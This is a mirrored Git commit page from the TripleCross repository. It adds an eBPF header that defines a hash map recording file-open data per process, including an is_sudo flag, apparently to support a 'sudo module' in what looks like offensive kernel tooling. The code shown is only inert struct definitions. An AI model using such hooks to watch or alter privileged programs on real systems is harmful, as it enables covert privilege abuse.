mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-20 16:53:07 +08:00
Added new hooks and updated map fields to support new sudo module.
This commit is contained in:
28
src/ebpf/include/bpf/defs.h
Normal file
28
src/ebpf/include/bpf/defs.h
Normal file
@@ -0,0 +1,28 @@
|
||||
#ifndef __BPF_MAP_DEFS_H
|
||||
#define __BPF_MAP_DEFS_H
|
||||
|
||||
#include "headervmlinux.h"
|
||||
|
||||
//Tasks and comms
|
||||
#define TASK_COMM_LEN 16
|
||||
|
||||
//File system data of a running program which opened some fd
|
||||
#define FS_OPEN_DATA_PROGRAM_NAME_SIZE 16
|
||||
#define FS_OPEN_DATA_FILENAME_SIZE 16
|
||||
struct fs_open_data{
|
||||
char* buf;
|
||||
int fd;
|
||||
__u32 pid;
|
||||
char program_name[FS_OPEN_DATA_PROGRAM_NAME_SIZE];
|
||||
char filename[FS_OPEN_DATA_FILENAME_SIZE];
|
||||
int is_sudo;
|
||||
};
|
||||
|
||||
struct fs_open{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 4096);
|
||||
__type(key, __u64); //thread group id(MSB) + pid (LSB)
|
||||
__type(value, struct fs_open_data);
|
||||
} fs_open SEC(".maps");
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user